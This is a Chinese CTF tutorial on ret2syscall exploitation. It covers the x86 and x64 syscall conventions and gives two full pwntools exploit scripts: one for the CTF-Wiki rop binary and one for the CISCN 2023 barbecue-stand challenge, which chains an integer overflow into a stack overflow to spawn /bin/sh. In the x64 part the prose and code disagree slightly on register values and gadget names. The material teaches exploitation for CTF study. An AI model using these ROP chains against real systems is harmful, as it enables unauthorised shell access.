ret2syscall,就是执行系统调用以达到getshell的目的
利用的情况:没有system并且开启了NX
系统调用,指 用户程序 向 操作系统内核 请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。
系统调用通过中断命令调用,通过系统调用号来区分不同的系统函数。
一般 ret2syscall 中我们都是通过调用 execve 获取 shell。
用途:在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。
调用execve就相当于调用system,因为system函数在libc库中是通过调用execve来实现的。
它的调用过程是:
- 将系统调用的编号存入 ax;
- 函数参数存入其它通用寄存器;
- 触发中断。
这是通用过程,但是x86和x64下的中断命令和寄存器是不同同的,系统调用号也是不同的。
中断
- x86:int 80
- x64:syscall
寄存器
- x86:eax
- x64:rax
所以我们需要对症下药。
linux下查看系统调用号:
- x86
cat /usr/include/asm/unistd_32.h
- x64
cat /usr/include/asm/unistd_64.h
x86
原理
Linux的32位系统的中断通过int 0x80实现。
调用系统调用的过程是:
- 把系统调用的编号存入eax。
- 第一个参数放入ebx
- 第二个参数放入ecx
- 第三个参数放入edx
- 触发int 0x80号中断。
调用execve:
execve("/bin/sh",NULL,NULL)
- eax存放系统调用号
- ebx存放/bin/sh地址
- ecx置0
- edx置0
之后通过将eip指向int 0x80的地址触发中断。
所以我们要找到pop eax指令的地址和pop ebx、pop ecx、pop edx的地址。最后找到一个ret将eip指向int 0x80。
利用ROPgadget搜索相应的gadget的地址。
例题
来自于CTF-Wiki:ret2syscall
checksec查保护,发现程序为32位开启了NX保护
ida打开分析
发现危险函数gets,很明显可以看出是一个栈溢出。
接下来我们寻找system函数,但是没有发现system函数。
调用execve获取shell。
execve("/bin/sh",NULL,NULL)
该程序是 32 位的,所以我们需要
- 系统调用号,即eax应该为0xb。
- 第一个参数,即当前ebx应该指向/bin/sh的地址,其实执行sh的地址也可以。
- 第二个参数,即ecx应该为0
- 第三个参数,即edx应该为0
所以我们需要通过gadget控制这些寄存器的值。
搜索程序gadget
控制eax的gadget
控制ebx的gadget
其中一段gadget可以控制三个传参寄存器
加上前面控制eax的gadget,我们已经控制了所有影响寄存器的gadget。
接下来寻找字符串和中断地址
/bin/sh字符串地址
触发中断的gadget
- pop_eax覆盖为eip,将栈顶的0xb弹入eax
- pop_edx_ecx_ebx将第一个0弹入edx,然后将第二个0弹入ecx,之后将/bin/sh字符串的地址弹入ebx。
- 最后,eip覆盖为int 0x80地址触发中断。
通过这些gadget根据程序逻辑构造exp。
exp
from pwn import *
io=process("./rop.rop")
pop_eax=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
int_80=0x08049421
sh=0x080be408
payload=b'a'*112+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh)+p32(int_80)
io.sendline(payload)
io.interactive()
x64
原理
64位与32位不同,需要注意以下几点
- execve系统调用号不同
- 64位系统调用号为0x3b
- 存放系统调用号的寄存器不同
- 64位系统调用号存放在rax
- 存储参数的寄存器不同
- 64位存储参数的寄存器为:rdi,rsi,rdx,rcx,r8,r9
- 中断不同
- 32位为int 80,64位为syscall
例题
[CISCN 2023 初赛]烧烤摊儿
checksec查保护,发现存在栈溢出保护和地址随机化保护以及NX保护。
执行一下程序,发现是一个购买烧烤的程序
ida打开分析
程序可以选则购买啤酒和烤串这样会减少余额,而如果余额超过一定数量则可以承包摊位。
如果承包摊位后就可以选择给摊位重命名。
详细分析程序发现两处整数溢出漏洞,分别为购买啤酒和购买烤串。
这里只介绍第一处
购买啤酒的程序通过输入数字来选择购买的啤酒,并且通过数字来选择购买的数量。
如果购买啤酒的数量的金额超过余额则输出钱不够了。
如果余额足够,则从余额中减去金额。
但是程序没有限制输入正数还是负数,如果输入负数则判断条件仍然会正确,经过计算后余额还会增加。
所以我们可以通过这个漏洞来增加余额达到足以承包烧烤摊的标准。
当承包烧烤摊后,我们便可以给烧烤摊改名字。
而给烧烤摊改名字的函数中存在栈溢出漏洞。
虽然程序开启了栈溢出,但是函数中没有检查canary的值,所以就相当于没开启。
正常开启栈溢出的程序
通过readfsqword检查canary的值
并且输入没有限制,之后将输入的内容复制到表示烧烤摊名称的全局变量中。
我们可以通过改名输入/bin/sh到栈中,改名称的时候会将/bin/sh复制到全局变量。
这样我们就可以得到/bin/sh的地址。
并且在/bin/sh后面接上一共\x00字符串结束符,用于截取/bin/sh。
之后在其后拼接足够栈溢出的字符,通过栈溢出我们可以通过gadget实现系统调用。
- 程序返回执行pop_rax_rdx_rcx,将0xb弹入rax,将0弹入rdx,将0弹入rcx。
- pop_rdi将字符串地址弹入rdi。
- pop_rsi将0弹入rsi。
- 之后rip的值覆盖为syscall地址,触发中断。
exp
from pwn import *
#io=process("./shaokao")
io=remote("node4.anna.nssctf.cn",28662)
context.log_level="debug"
#触发整数溢出漏洞
io.sendline(b'1')
io.sendline(b'1')
io.sendline(b'-10000')
#承包烧烤摊并修改名称
io.sendline(b'4')
io.sendline(b'5')
#全局变量的地址
sh=0x4E60F0
pop_rax_rdx_rbx=0x00000000004a404a #: pop rax ; pop rdx ; pop rbx ; ret
pop_rdi=0x000000000040264f #: pop rdi ; ret
pop_rsi=0x000000000040a67e #: pop rsi ; ret
syscall=0x0000000000402404 #: syscall
#加上\x00这样在execve函数读取到/bin/sh之后就会截停
payload=b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax_rdx_rbx)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(syscall)
io.sendline(payload)
io.interactive()
后言
参考链接:https://ctf-wiki.org/
参考链接:https://www.cnblogs.com/fuxuqiannian/p/16913836.html